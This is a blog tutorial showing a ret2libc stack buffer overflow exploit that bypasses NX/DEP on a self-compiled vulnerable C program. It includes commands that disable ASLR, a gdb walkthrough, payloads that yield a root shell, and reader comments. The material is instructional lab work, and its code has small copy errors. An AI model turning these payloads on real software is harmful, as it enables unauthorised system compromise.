Exploit Development: Stack Buffer Overflow – Bypass NX/DEP

In my previous blog post, I covered the development of a buffer overflow exploit for a simple vulnerable program with overflow protections disabled. In this post, I will demonstrate bypassing DEP/NX using return oriented programming.
I’ll use the same vulnerable code as in my previous blog post.

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
 char buffer[20];
 strcpy(buffer, argv[1]);
 return 0;
[email protected]:~# gcc vulnerable.c -o vulnerable -fno-stack-protector

However this time, we will enable DEP/NX using execstack. If you’re compiling a fresh executable, it will already have DEP enabled but be sure to compile with the -fno-stack-protector option as this does not bypass stack canaries.

[email protected]:~# execstack -c ./vulnerable
[email protected]:~# execstack -q ./vulnerable - ./vulnerable

We will still need ASLR disabled as the following attacks do not bypass ASLR.

[email protected]:~# echo 0 > /proc/sys/kernel/randomize_va_space

Return-to-libc Attack(ret2libc)

The vulnerable program uses only two functions from the included libraries, printf and strcpy. However, the entire stdio and string libraries are still linked and loaded into memory every time the program is executed. This would allow a buffer overflow exploit to potentially redirect flow to a function contained in the linked libraries which can be taken advantage of to execute malicious code. One such function is system() which can be used to run system commands by overwriting the call stack of the program and replacing the return address of the stored on the stack by the strcpy function with the address of the system function. The system function however expects the stack to have the argument for the function at the top followed by a return address for the system function. Before the function strcpy returns, the top of the stack looks like this.

<arguments to main>            - 4 bytes
<return address of main>       - 4 bytes
<ebp stored by main>           - 4 bytes
<buffer>                       - 28 bytes
<address of buffer>            - 4 bytes

By overflowing the buffer, we can redirect the strcpy return address to point to the system function in memory and add extra elements on top of the stack to use as an argument and a return address for the system function. This would lead to the stack looking like this.

<argument to system>          - 4 bytes
<return address for system>   - 4 bytes
<address of system>           - 4 bytes
<overwritten stored ebp>      - 4 bytes
<buffer>                      - 28 bytes
<address of buffer>           - 4 bytes

As we can see, by sending a buffer of appropriate size, we can overwrite the stored memory locations in front of it and execute arbitrary code after the main function returns.
This can be achieved by finding the size of the buffer in the stack and then overwriting the appropriate positions on the stack. I used gdb for this as it has a few more helpful features as compared to edb.

[email protected]:~# gdb -q ./vulnerable
Reading symbols from /root/vulnerable...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
 0x0804844c <+0>: push %ebp
 0x0804844d <+1>: mov %esp,%ebp
 0x0804844f <+3>: and $0xfffffff0,%esp
 0x08048452 <+6>: sub $0x30,%esp
 0x08048455 <+9>: mov 0xc(%ebp),%eax
 0x08048458 <+12>: add $0x4,%eax
 0x0804845b <+15>: mov (%eax),%eax
 0x0804845d <+17>: mov %eax,0x4(%esp)
 0x08048461 <+21>: lea 0x1c(%esp),%eax
 0x08048465 <+25>: mov %eax,(%esp)
 0x08048468 <+28>: call 0x8048320 <[email protected]>
 0x0804846d <+33>: lea 0x1c(%esp),%eax
 0x08048471 <+37>: mov %eax,(%esp)
 0x08048474 <+40>: call 0x8048330 <[email protected]>
 0x08048479 <+45>: mov $0x0,%eax
 0x0804847e <+50>: leave
 0x0804847f <+51>: ret
End of assembler dump.

At 0x08048468 the strcpy function is called and in the next instruction, the esp is moved by 0x1c characters to load a pointer into eax which indicates that our buffer is 0x1c or 28 bytes long. Now we need to find the memory address of the system function and something to pass as an argument to it. The C library in fact contains the string “/bin/sh” which we can use to drop to a shell in the program by using it as an argument for system().

(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: /root/vulnerable
Breakpoint 1, 0x0804844f in main ()
(gdb) print system
$1 = {} 0xb7eab6b0
(gdb) find &system, +99999999, "/bin/sh"
warning: Unable to access target memory at 0xb7fbd6fc, halting search.
1 pattern found.

Now that we have our address for system() and for “/bin/bash” we can make a new exploit which bypasses DEP and gives us a shell.

[email protected]:~# ./vulnerable $(python -c 'print "A"*32 + "\xb0\xb6\xea\xb7" + "A"*4 + "\x74\xa4\xf9\xb7"')
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo)
# uname -a
Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux

We can write the above payload in a more understandable form as a python script as well.

from struct import pack
buffer = ""
offset = "A"*32
binsh = pack("<L",0xb7f9a474)
sys = pack("<L", 0xb7eab6b0)
buffer += offset
buffer += sys
buffer += "A"*4
buffer += binsh
print buffer

And on exploiting our vulnerable program, we get a shell.

[email protected]:~# ./vulnerable $(python vulnerablerop.py)
# id
# uname -a

In cases where exploitation is not as straightforward such as the absence of the string “/bin/sh” from memory, we need to use ROP gadgets to create and store the string in an accessible memory location. A ROP gadget is simply a set of assembly language instructions followed by a return command which are already loaded in memory as a part of the program. These gadgets provide specific functions which we can chain together to execute arbitrary code. ROP is in fact Turing complete and can be used to simulate any code. You can find a basic ROP primer by bas here more in-depth ROP tutorials by Corelan Team here or by b33f here.

2 thoughts on “Exploit Development: Stack Buffer Overflow – Bypass NX/DEP

  1. T says:

    I am getting a segmentation fault, which I can’t seem to understand 🙁
    I ran the same commands to get my system() address (0xb7e37b30) and “/bin/sh” address (0xb7f59dc8), and plugged them in accordingly, however I still seem to get the seg fault error.
    When going into gdb, and running “x/40x $esp” the instruction straight after the strcpy() instruction is
    executed, I see the below where EBP=0xbffff2d8 and ESP=0xbffff2a0
    pwndbg> x/40x $esp
    0xbffff2a0: 0xbffff2bc 0xbffff54b 0xb7ffed00 0x800005d7
    0xbffff2b0: 0x00000001 0x80002000 0x00000002 0x41414141
    0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffff2d0: 0x41414141 0x41414141 0x41414141 0xb7e37b30
    0xbffff2e0: 0x41414141 0xb7f59dc8 0x00000000 0xb7e15276
    0xbffff2f0: 0x00000002 0xbffff384 0xbffff390 0x00000000
    0xbffff300: 0x00000000 0x00000000 0xb7fb0000 0xb7fffc0c
    0xbffff310: 0xb7fff000 0x00000000 0x00000002 0xb7fb0000
    0xbffff320: 0x00000000 0xc52edfd1 0xf86f53c1 0x00000000
    0xbffff330: 0x00000000 0x00000000 0x00000002 0x80000450
    Can you clarify if the system() arguments are in the correct memory location, and whether the 0x41414141 (random return address) prior to the system() argument is correct please?
    Thanks 😀

    • Hi,
      I think your stack looks fine post overflow, could you try debugging step by step to see where exactly the seg fault occurs?
      Does the EIP get overwritten with the address of system properly?

Leave a Reply